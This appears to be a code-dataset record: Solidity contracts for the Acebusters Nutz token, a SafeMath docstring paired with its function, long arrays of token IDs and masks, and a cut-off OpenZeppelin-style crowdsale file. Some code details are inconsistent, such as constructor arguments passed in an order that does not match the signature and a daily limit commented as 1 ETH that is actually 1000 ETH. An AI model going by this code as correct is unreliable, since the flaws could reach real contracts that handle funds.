function setBool(bytes32 _crate, bytes32 _key, bool _value) onlyOwner {
crates[_crate].bools[_key] = _value;
}
function getBool(bytes32 _crate, bytes32 _key) constant returns(bool) {
return crates[_crate].bools[_key];
}
function setBal(bytes32 _crate, address _key, uint256 _value) onlyOwner {
crates[_crate].bals[_key] = _value;
}
function getBal(bytes32 _crate, address _key) constant returns(uint256) {
return crates[_crate].bals[_key];
}
}
contract NutzEnabled is Pausable, StorageEnabled {
using SafeMath for uint;
// satelite contract addresses
address public nutzAddr;
modifier onlyNutz() {
require(msg.sender == nutzAddr);
_;
}
function NutzEnabled(address _nutzAddr, address _storageAddr)
StorageEnabled(_storageAddr) {
nutzAddr = _nutzAddr;
}
// ############################################
// ########### NUTZ FUNCTIONS ################
// ############################################
// total supply(modified for etherscan display)
function totalSupply() constant returns (uint256) {
return activeSupply();
}
// total supply(for internal calculations)
function completeSupply() constant returns (uint256) {
return activeSupply().add(powerPool()).add(burnPool());
}
// allowances according to ERC20
// not written to storage, as not very critical
mapping (address => mapping (address => uint)) internal allowed;
function allowance(address _owner, address _spender) constant returns (uint256) {
return allowed[_owner][_spender];
}
function approve(address _owner, address _spender, uint256 _amountBabz) public onlyNutz whenNotPaused {
require(_owner != _spender);
allowed[_owner][_spender] = _amountBabz;
}
function _transfer(address _from, address _to, uint256 _amountBabz, bytes _data) internal {
require(_to != address(this));
require(_to != address(0));
require(_amountBabz > 0);
require(_from != _to);
_setBabzBalanceOf(_from, babzBalanceOf(_from).sub(_amountBabz));
_setBabzBalanceOf(_to, babzBalanceOf(_to).add(_amountBabz));
}
function transfer(address _from, address _to, uint256 _amountBabz, bytes _data) public onlyNutz whenNotPaused {
_transfer(_from, _to, _amountBabz, _data);
}
function transferFrom(address _sender, address _from, address _to, uint256 _amountBabz, bytes _data) public onlyNutz whenNotPaused {
allowed[_from][_sender] = allowed[_from][_sender].sub(_amountBabz);
_transfer(_from, _to, _amountBabz, _data);
}
}
/*
* Contract that is working with ERC223 tokens
*/
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data);
}
contract ControllerInterface {
// State Variables
bool public paused;
address public nutzAddr;
// Nutz functions
function babzBalanceOf(address _owner) constant returns (uint256);
function activeSupply() constant returns (uint256);
function burnPool() constant returns (uint256);
function powerPool() constant returns (uint256);
function totalSupply() constant returns (uint256);
function completeSupply() constant returns (uint256);
function allowance(address _owner, address _spender) constant returns (uint256);
function approve(address _owner, address _spender, uint256 _amountBabz) public;
function transfer(address _from, address _to, uint256 _amountBabz, bytes _data) public;
function transferFrom(address _sender, address _from, address _to, uint256 _amountBabz, bytes _data) public;
// Market functions
function floor() constant returns (uint256);
function ceiling() constant returns (uint256);
function purchase(address _sender, uint256 _value, uint256 _price) public returns (uint256);
function sell(address _from, uint256 _price, uint256 _amountBabz);
// Power functions
function powerBalanceOf(address _owner) constant returns (uint256);
function outstandingPower() constant returns (uint256);
function authorizedPower() constant returns (uint256);
function powerTotalSupply() constant returns (uint256);
function powerUp(address _sender, address _from, uint256 _amountBabz) public;
function downTick(address _owner, uint256 _now) public;
function createDownRequest(address _owner, uint256 _amountPower) public;
function downs(address _owner) constant public returns(uint256, uint256, uint256);
function downtime() constant returns (uint256);
}
/**
* @title PullPayment
* @dev Base contract supporting async send for pull payments.
*/
contract PullPayment is Ownable {
using SafeMath for uint256;
uint public dailyLimit = 1000000000000000000000; // 1 ETH
uint public lastDay;
uint public spentToday;
// 8bytes date, 24 bytes value
mapping(address => uint256) internal payments;
modifier onlyNutz() {
require(msg.sender == ControllerInterface(owner).nutzAddr());
_;
}
modifier whenNotPaused () {
require(!ControllerInterface(owner).paused());
_;
}
function balanceOf(address _owner) constant returns (uint256 value) {
return uint192(payments[_owner]);
}
function paymentOf(address _owner) constant returns (uint256 value, uint256 date) {
value = uint192(payments[_owner]);
date = (payments[_owner] >> 192);
return;
}
/// @dev Allows to change the daily limit. Transaction has to be sent by wallet.
/// @param _dailyLimit Amount in wei.
function changeDailyLimit(uint _dailyLimit) public onlyOwner {
dailyLimit = _dailyLimit;
}
function changeWithdrawalDate(address _owner, uint256 _newDate) public onlyOwner {
// allow to withdraw immediately
// move witdrawal date more days into future
payments[_owner] = (_newDate << 192) + uint192(payments[_owner]);
}
function asyncSend(address _dest) public payable onlyNutz {
require(msg.value > 0);
uint256 newValue = msg.value.add(uint192(payments[_dest]));
uint256 newDate;
if (isUnderLimit(msg.value)) {
uint256 date = payments[_dest] >> 192;
newDate = (date > now) ? date : now;
} else {
newDate = now.add(3 days);
}
spentToday = spentToday.add(msg.value);
payments[_dest] = (newDate << 192) + uint192(newValue);
}
function withdraw() public whenNotPaused {
address untrustedRecipient = msg.sender;
uint256 amountWei = uint192(payments[untrustedRecipient]);
require(amountWei != 0);
require(now >= (payments[untrustedRecipient] >> 192));
require(this.balance >= amountWei);
payments[untrustedRecipient] = 0;
assert(untrustedRecipient.call.gas(1000).value(amountWei)());
}
/*
* Internal functions
*/
/// @dev Returns if amount is within daily limit and resets spentToday after one day.
/// @param amount Amount to withdraw.
/// @return Returns if amount is under daily limit.
function isUnderLimit(uint amount) internal returns (bool) {
if (now > lastDay.add(24 hours)) {
lastDay = now;
spentToday = 0;
}
// not using safe math because we don't want to throw;
if (spentToday + amount > dailyLimit || spentToday + amount < spentToday) {
return false;
}
return true;
}
}
/**
* Nutz implements a price floor and a price ceiling on the token being
* sold. It is based of the zeppelin token contract.
*/
contract Nutz is Ownable, ERC20 {
event Sell(address indexed seller, uint256 value);
string public name = "Acebusters Nutz";
// acebusters units:
// 10^12 - Nutz (NTZ)
// 10^9 - Jonyz
// 10^6 - Helcz
// 10^3 - Pascalz
// 10^0 - Babz
string public symbol = "NTZ";
uint256 public decimals = 12;
// returns balances of active holders
function balanceOf(address _owner) constant returns (uint) {
return ControllerInterface(owner).babzBalanceOf(_owner);
}
function totalSupply() constant returns (uint256) {
return ControllerInterface(owner).totalSupply();
}
function activeSupply() constant returns (uint256) {
return ControllerInterface(owner).activeSupply();
}
// return remaining allowance
// if calling return allowed[address(this)][_spender];
// returns balance of ether parked to be withdrawn
function allowance(address _owner, address _spender) constant returns (uint256) {
return ControllerInterface(owner).allowance(_owner, _spender);
}
// returns either the salePrice, or if reserve does not suffice
// for active supply, returns maxFloor
function floor() constant returns (uint256) {
return ControllerInterface(owner).floor();
}
// returns either the salePrice, or if reserve does not suffice
// for active supply, returns maxFloor
function ceiling() constant returns (uint256) {
return ControllerInterface(owner).ceiling();
}
function powerPool() constant returns (uint256) {
return ControllerInterface(owner).powerPool();
}
function _checkDestination(address _from, address _to, uint256 _value, bytes _data) internal {
// erc223: Retrieve the size of the code on target address, this needs assembly .
uint256 codeLength;
assembly {
codeLength := extcodesize(_to)
}
if(codeLength>0) {
ERC223ReceivingContract untrustedReceiver = ERC223ReceivingContract(_to);
// untrusted contract call
untrustedReceiver.tokenFallback(_from, _value, _data);
}
}
// ############################################
// ########### ADMIN FUNCTIONS ################
// ############################################
function powerDown(address powerAddr, address _holder, uint256 _amountBabz) public onlyOwner {
bytes memory empty;
_checkDestination(powerAddr, _holder, _amountBabz, empty);
// NTZ transfered from power pool to user's balance
Transfer(powerAddr, _holder, _amountBabz);
}
function asyncSend(address _pullAddr, address _dest, uint256 _amountWei) public onlyOwner {
assert(_amountWei <= this.balance);
PullPayInterface(_pullAddr).asyncSend.value(_amountWei)(_dest);
}
// ############################################
// ########### PUBLIC FUNCTIONS ###############
// ############################################
function approve(address _spender, uint256 _amountBabz) public {
ControllerInterface(owner).approve(msg.sender, _spender, _amountBabz);
Approval(msg.sender, _spender, _amountBabz);
}
function transfer(address _to, uint256 _amountBabz, bytes _data) public returns (bool) {
ControllerInterface(owner).transfer(msg.sender, _to, _amountBabz, _data);
Transfer(msg.sender, _to, _amountBabz);
_checkDestination(msg.sender, _to, _amountBabz, _data);
return true;
}
function transfer(address _to, uint256 _amountBabz) public returns (bool) {
bytes memory empty;
return transfer(_to, _amountBabz, empty);
}
function transData(address _to, uint256 _amountBabz, bytes _data) public returns (bool) {
return transfer(_to, _amountBabz, _data);
}
function transferFrom(address _from, address _to, uint256 _amountBabz, bytes _data) public returns (bool) {
ControllerInterface(owner).transferFrom(msg.sender, _from, _to, _amountBabz, _data);
Transfer(_from, _to, _amountBabz);
_checkDestination(_from, _to, _amountBabz, _data);
return true;
}
function transferFrom(address _from, address _to, uint256 _amountBabz) public returns (bool) {
bytes memory empty;
return transferFrom(_from, _to, _amountBabz, empty);
}
function () public payable {
uint256 price = ControllerInterface(owner).ceiling();
purchase(price);
require(msg.value > 0);
}
function purchase(uint256 _price) public payable {
require(msg.value > 0);
uint256 amountBabz = ControllerInterface(owner).purchase(msg.sender, msg.value, _price);
Transfer(owner, msg.sender, amountBabz);
bytes memory empty;
_checkDestination(address(this), msg.sender, amountBabz, empty);
}
function sell(uint256 _price, uint256 _amountBabz) public {
require(_amountBabz != 0);
ControllerInterface(owner).sell(msg.sender, _price, _amountBabz);
Sell(msg.sender, _amountBabz);
}
function powerUp(uint256 _amountBabz) public {
Transfer(msg.sender, owner, _amountBabz);
ControllerInterface(owner).powerUp(msg.sender, msg.sender, _amountBabz);
}
}
contract MarketEnabled is NutzEnabled {
uint256 constant INFINITY = 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff;
// address of the pull payemnt satelite
address public pullAddr;
// the Token sale mechanism parameters:
// purchasePrice is the number of NTZ received for purchase with 1 ETH
uint256 internal purchasePrice;
// floor is the number of NTZ needed, to receive 1 ETH in sell
uint256 internal salePrice;
function MarketEnabled(address _pullAddr, address _storageAddr, address _nutzAddr)
NutzEnabled(_nutzAddr, _storageAddr) {
pullAddr = _pullAddr;
}
function ceiling() constant returns (uint256) {
return purchasePrice;
}
// returns either the salePrice, or if reserve does not suffice
// for active supply, returns maxFloor
function floor() constant returns (uint256) {
if (nutzAddr.balance == 0) {
return INFINITY;
}
uint256 maxFloor = activeSupply().mul(1000000).div(nutzAddr.balance); // 1,000,000 WEI, used as price factor
// return max of maxFloor or salePrice
return maxFloor >= salePrice ? maxFloor : salePrice;
}
function moveCeiling(uint256 _newPurchasePrice) public onlyAdmins {
require(_newPurchasePrice <= salePrice);
purchasePrice = _newPurchasePrice;
}
function moveFloor(uint256 _newSalePrice) public onlyAdmins {
require(_newSalePrice >= purchasePrice);
// moveFloor fails if the administrator tries to push the floor so low
// that the sale mechanism is no longer able to buy back all tokens at
// the floor price if those funds were to be withdrawn.
if (_newSalePrice < INFINITY) {
require(nutzAddr.balance >= activeSupply().mul(1000000).div(_newSalePrice)); // 1,000,000 WEI, used as price factor
}
salePrice = _newSalePrice;
}
function purchase(address _sender, uint256 _value, uint256 _price) public onlyNutz whenNotPaused returns (uint256) {
// disable purchases if purchasePrice set to 0
require(purchasePrice > 0);
require(_price == purchasePrice);
uint256 amountBabz = purchasePrice.mul(_value).div(1000000); // 1,000,000 WEI, used as price factor
// avoid deposits that issue nothing
// might happen with very high purchase price
require(amountBabz > 0);
// make sure power pool grows proportional to economy
uint256 activeSup = activeSupply();
uint256 powPool = powerPool();
if (powPool > 0) {
uint256 powerShare = powPool.mul(amountBabz).div(activeSup.add(burnPool()));
_setPowerPool(powPool.add(powerShare));
}
_setActiveSupply(activeSup.add(amountBabz));
_setBabzBalanceOf(_sender, babzBalanceOf(_sender).add(amountBabz));
return amountBabz;
}
function sell(address _from, uint256 _price, uint256 _amountBabz) public onlyNutz whenNotPaused {
uint256 effectiveFloor = floor();
require(_amountBabz != 0);
require(effectiveFloor != INFINITY);
require(_price == effectiveFloor);
uint256 amountWei = _amountBabz.mul(1000000).div(effectiveFloor); // 1,000,000 WEI, used as price factor
require(amountWei > 0);
// make sure power pool shrinks proportional to economy
uint256 powPool = powerPool();
uint256 activeSup = activeSupply();
if (powPool > 0) {
uint256 powerShare = powPool.mul(_amountBabz).div(activeSup.add(burnPool()));
_setPowerPool(powPool.sub(powerShare));
}
_setActiveSupply(activeSup.sub(_amountBabz));
_setBabzBalanceOf(_from, babzBalanceOf(_from).sub(_amountBabz));
Nutz(nutzAddr).asyncSend(pullAddr, _from, amountWei);
}
// withdraw excessive reserve - i.e. milestones
function allocateEther(uint256 _amountWei, address _beneficiary) public onlyAdmins {
require(_amountWei > 0);
// allocateEther fails if allocating those funds would mean that the
// sale mechanism is no longer able to buy back all tokens at the floor
// price if those funds were to be withdrawn.
require(nutzAddr.balance.sub(_amountWei) >= activeSupply().mul(1000000).div(salePrice)); // 1,000,000 WEI, used as price factor
Nutz(nutzAddr).asyncSend(pullAddr, _beneficiary, _amountWei);
}
}
contract PowerEnabled is MarketEnabled {
// satelite contract addresses
address public powerAddr;
// maxPower is a limit of total power that can be outstanding
// maxPower has a valid value between outstandingPower and authorizedPow/2
uint256 public maxPower = 0;
// time it should take to power down
uint256 public downtime;
uint public constant MIN_SHARE_OF_POWER = 100000;
modifier onlyPower() {
require(msg.sender == powerAddr);
_;
}
function PowerEnabled(address _powerAddr, address _pullAddr, address _storageAddr, address _nutzAddr)
MarketEnabled(_pullAddr, _nutzAddr, _storageAddr) {
powerAddr = _powerAddr;
}
function setMaxPower(uint256 _maxPower) public onlyAdmins {
require(outstandingPower() <= _maxPower && _maxPower < authorizedPower());
maxPower = _maxPower;
}
function setDowntime(uint256 _downtime) public onlyAdmins {
downtime = _downtime;
}
function minimumPowerUpSizeBabz() public constant returns (uint256) {
uint256 completeSupplyBabz = completeSupply();
if (completeSupplyBabz == 0) {
return INFINITY;
}
return completeSupplyBabz.div(MIN_SHARE_OF_POWER);
}
// this is called when NTZ are deposited into the burn pool
function dilutePower(uint256 _amountBabz, uint256 _amountPower) public onlyAdmins {
uint256 authorizedPow = authorizedPower();
uint256 totalBabz = completeSupply();
if (authorizedPow == 0) {
// during the first capital increase, set value directly as authorized shares
_setAuthorizedPower((_amountPower > 0) ? _amountPower : _amountBabz.add(totalBabz));
} else {
// in later increases, expand authorized shares at same rate like economy
_setAuthorizedPower(authorizedPow.mul(totalBabz.add(_amountBabz)).div(totalBabz));
}
_setBurnPool(burnPool().add(_amountBabz));
}
function _slashPower(address _holder, uint256 _value, bytes32 _data) internal {
uint256 previouslyOutstanding = outstandingPower();
_setOutstandingPower(previouslyOutstanding.sub(_value));
// adjust size of power pool
uint256 powPool = powerPool();
uint256 slashingBabz = _value.mul(powPool).div(previouslyOutstanding);
_setPowerPool(powPool.sub(slashingBabz));
// put event into satelite contract
Power(powerAddr).slashPower(_holder, _value, _data);
}
function slashPower(address _holder, uint256 _value, bytes32 _data) public onlyAdmins {
_setPowerBalanceOf(_holder, powerBalanceOf(_holder).sub(_value));
_slashPower(_holder, _value, _data);
}
function slashDownRequest(uint256 _pos, address _holder, uint256 _value, bytes32 _data) public onlyAdmins {
var (total, left, start) = downs(_holder);
left = left.sub(_value);
_setDownRequest(_holder, total, left, start);
_slashPower(_holder, _value, _data);
}
// this is called when NTZ are deposited into the power pool
function powerUp(address _sender, address _from, uint256 _amountBabz) public onlyNutz whenNotPaused {
uint256 authorizedPow = authorizedPower();
require(authorizedPow != 0);
require(_amountBabz != 0);
uint256 totalBabz = completeSupply();
require(totalBabz != 0);
uint256 amountPow = _amountBabz.mul(authorizedPow).div(totalBabz);
// check pow limits
uint256 outstandingPow = outstandingPower();
require(outstandingPow.add(amountPow) <= maxPower);
uint256 powBal = powerBalanceOf(_from).add(amountPow);
require(powBal >= authorizedPow.div(MIN_SHARE_OF_POWER));
if (_sender != _from) {
allowed[_from][_sender] = allowed[_from][_sender].sub(_amountBabz);
}
_setOutstandingPower(outstandingPow.add(amountPow));
_setPowerBalanceOf(_from, powBal);
_setActiveSupply(activeSupply().sub(_amountBabz));
_setBabzBalanceOf(_from, babzBalanceOf(_from).sub(_amountBabz));
_setPowerPool(powerPool().add(_amountBabz));
Power(powerAddr).powerUp(_from, amountPow);
}
function powerTotalSupply() constant returns (uint256) {
uint256 issuedPower = authorizedPower().div(2);
// return max of maxPower or issuedPower
return maxPower >= issuedPower ? maxPower : issuedPower;
}
function _vestedDown(uint256 _total, uint256 _left, uint256 _start, uint256 _now) internal constant returns (uint256) {
if (_now <= _start) {
return 0;
}
// calculate amountVested
// amountVested is amount that can be withdrawn according to time passed
uint256 timePassed = _now.sub(_start);
if (timePassed > downtime) {
timePassed = downtime;
}
uint256 amountVested = _total.mul(timePassed).div(downtime);
uint256 amountFrozen = _total.sub(amountVested);
if (_left <= amountFrozen) {
return 0;
}
return _left.sub(amountFrozen);
}
function createDownRequest(address _owner, uint256 _amountPower) public onlyPower whenNotPaused {
// prevent powering down tiny amounts
// when powering down, at least completeSupply/minShare Power should be claimed
require(_amountPower >= authorizedPower().div(MIN_SHARE_OF_POWER));
_setPowerBalanceOf(_owner, powerBalanceOf(_owner).sub(_amountPower));
var (, left, ) = downs(_owner);
uint256 total = _amountPower.add(left);
_setDownRequest(_owner, total, total, now);
}
// executes a powerdown request
function downTick(address _holder, uint256 _now) public onlyPower whenNotPaused {
var (total, left, start) = downs(_holder);
uint256 amountPow = _vestedDown(total, left, start, _now);
// prevent power down in tiny steps
uint256 minStep = total.div(10);
require(left <= minStep || minStep <= amountPow);
// calculate token amount representing share of power
uint256 amountBabz = amountPow.mul(completeSupply()).div(authorizedPower());
// transfer power and tokens
_setOutstandingPower(outstandingPower().sub(amountPow));
left = left.sub(amountPow);
_setPowerPool(powerPool().sub(amountBabz));
_setActiveSupply(activeSupply().add(amountBabz));
_setBabzBalanceOf(_holder, babzBalanceOf(_holder).add(amountBabz));
// down request completed
if (left == 0) {
start = 0;
total = 0;
}
// TODO
_setDownRequest(_holder, total, left, start);
Nutz(nutzAddr).powerDown(powerAddr, _holder, amountBabz);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Controller is PowerEnabled {
function Controller(address _powerAddr, address _pullAddr, address _nutzAddr, address _storageAddr)
PowerEnabled(_powerAddr, _pullAddr, _nutzAddr, _storageAddr) {
}
function setContracts(address _storageAddr, address _nutzAddr, address _powerAddr, address _pullAddr) public onlyAdmins whenPaused {
storageAddr = _storageAddr;
nutzAddr = _nutzAddr;
powerAddr = _powerAddr;
pullAddr = _pullAddr;
}
function changeDailyLimit(uint256 _dailyLimit) public onlyAdmins {
PullPayment(pullAddr).changeDailyLimit(_dailyLimit);
}
function kill(address _newController) public onlyAdmins whenPaused {
if (powerAddr != address(0)) { Ownable(powerAddr).transferOwnership(msg.sender); }
if (pullAddr != address(0)) { Ownable(pullAddr).transferOwnership(msg.sender); }
if (nutzAddr != address(0)) { Ownable(nutzAddr).transferOwnership(msg.sender); }
if (storageAddr != address(0)) { Ownable(storageAddr).transferOwnership(msg.sender); }
selfdestruct(_newController);
}
} | * @title SafeMath @dev Math operations with safety checks that throw on error/ | library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 1,002,708 | [
1,
9890,
10477,
225,
2361,
5295,
598,
24179,
4271,
716,
604,
603,
555,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
12083,
14060,
10477,
288,
203,
225,
445,
14064,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2254,
5034,
276,
273,
279,
380,
324,
31,
203,
565,
1815,
12,
69,
422,
374,
747,
276,
342,
279,
422,
324,
1769,
203,
565,
327,
276,
31,
203,
225,
289,
203,
203,
225,
445,
3739,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2254,
5034,
276,
273,
279,
342,
324,
31,
203,
565,
327,
276,
31,
203,
225,
289,
203,
203,
225,
445,
720,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
1135,
261,
11890,
5034,
13,
288,
203,
565,
1815,
12,
70,
1648,
279,
1769,
203,
565,
327,
279,
300,
324,
31,
203,
225,
289,
203,
203,
225,
445,
527,
12,
11890,
5034,
279,
16,
2254,
5034,
324,
13,
2713,
1135,
261,
11890,
5034,
13,
288,
203,
565,
2254,
5034,
276,
273,
279,
397,
324,
31,
203,
565,
1815,
12,
71,
1545,
279,
1769,
203,
565,
327,
276,
31,
203,
225,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/*
Copyright 2018 Subramanian Venkatesan, Binod Nirvan
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
*/
pragma solidity ^0.4.22;
/**
* @title SafeMath
* @dev Math operations with safety checks that revert on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, reverts on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers truncating the quotient, reverts on division by zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0); // Solidity only automatically asserts when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Subtracts two numbers, reverts on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
/**
* @dev Adds two numbers, reverts on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
/**
* @dev Divides two numbers and returns the remainder (unsigned integer modulo),
* reverts when dividing by zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender)
external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value)
external returns (bool);
function transferFrom(address from, address to, uint256 value)
external returns (bool);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
function safeTransfer(
IERC20 token,
address to,
uint256 value
)
internal
{
require(token.transfer(to, value));
}
function safeTransferFrom(
IERC20 token,
address from,
address to,
uint256 value
)
internal
{
require(token.transferFrom(from, to, value));
}
function safeApprove(
IERC20 token,
address spender,
uint256 value
)
internal
{
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
require((value == 0) || (token.allowance(msg.sender, spender) == 0));
require(token.approve(spender, value));
}
function safeIncreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).add(value);
require(token.approve(spender, newAllowance));
}
function safeDecreaseAllowance(
IERC20 token,
address spender,
uint256 value
)
internal
{
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
require(token.approve(spender, newAllowance));
}
}
/**
* @title Helps contracts guard against reentrancy attacks.
* @author Remco Bloemen <remco@2π.com>, Eenae <[email protected]>
* @dev If you mark a function `nonReentrant`, you should also
* mark it `external`.
*/
contract ReentrancyGuard {
/// @dev counter to allow mutex lock with only one SSTORE operation
uint256 private _guardCounter;
constructor() internal {
// The counter starts at one to prevent changing it from zero to a non-zero
// value, which is a more expensive operation.
_guardCounter = 1;
}
/**
* @dev Prevents a contract from calling itself, directly or indirectly.
* Calling a `nonReentrant` function from another `nonReentrant`
* function is not supported. It is possible to prevent this from happening
* by making the `nonReentrant` function external, and make it call a
* `private` function that does the actual work.
*/
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter);
}
}
/**
* @title Crowdsale
* @dev Crowdsale is a base contract for managing a token crowdsale,
* allowing investors to purchase tokens with ether. This contract implements
* such functionality in its most fundamental form and can be extended to provide additional
* functionality and/or custom behavior.
* The external interface represents the basic interface for purchasing tokens, and conform
* the base architecture for crowdsales. They are *not* intended to be modified / overridden.
* The internal interface conforms the extensible and modifiable surface of crowdsales. Override
* the methods to add functionality. Consider using 'super' where appropriate to concatenate
* behavior.
*/
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
// The token being sold
IERC20 private _token;
// Address where funds are collected
address private _wallet;
// How many token units a buyer gets per wei.
// The rate is the conversion between wei and the smallest and indivisible token unit.
// So, if you are using a rate of 1 with a ERC20Detailed token with 3 decimals called TOK
// 1 wei will give you 1 unit, or 0.001 TOK.
uint256 private _rate;
// Amount of wei raised
uint256 private _weiRaised;
/**
* Event for token purchase logging
* @param purchaser who paid for the tokens
* @param beneficiary who got the tokens
* @param value weis paid for purchase
* @param amount amount of tokens purchased
*/
event TokensPurchased(
address indexed purchaser,
address indexed beneficiary,
uint256 value,
uint256 amount
);
/**
* @param rate Number of token units a buyer gets per wei
* @dev The rate is the conversion between wei and the smallest and indivisible
* token unit. So, if you are using a rate of 1 with a ERC20Detailed token
* with 3 decimals called TOK, 1 wei will give you 1 unit, or 0.001 TOK.
* @param wallet Address where collected funds will be forwarded to
* @param token Address of the token being sold
*/
constructor(uint256 rate, address wallet, IERC20 token) internal {
require(rate > 0);
require(wallet != address(0));
require(token != address(0));
_rate = rate;
_wallet = wallet;
_token = token;
}
// -----------------------------------------
// Crowdsale external interface
// -----------------------------------------
/**
* @dev fallback function ***DO NOT OVERRIDE***
* Note that other contracts will transfer fund with a base gas stipend
* of 2300, which is not enough to call buyTokens. Consider calling
* buyTokens directly when purchasing tokens from a contract.
*/
function () external payable {
buyTokens(msg.sender);
}
/**
* @return the token being sold.
*/
function token() public view returns(IERC20) {
return _token;
}
/**
* @return the address where funds are collected.
*/
function wallet() public view returns(address) {
return _wallet;
}
/**
* @return the number of token units a buyer gets per wei.
*/
function rate() public view returns(uint256) {
return _rate;
}
/**
* @return the amount of wei raised.
*/
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
/**
* @dev low level token purchase ***DO NOT OVERRIDE***
* This function has a non-reentrancy guard, so it shouldn't be called by
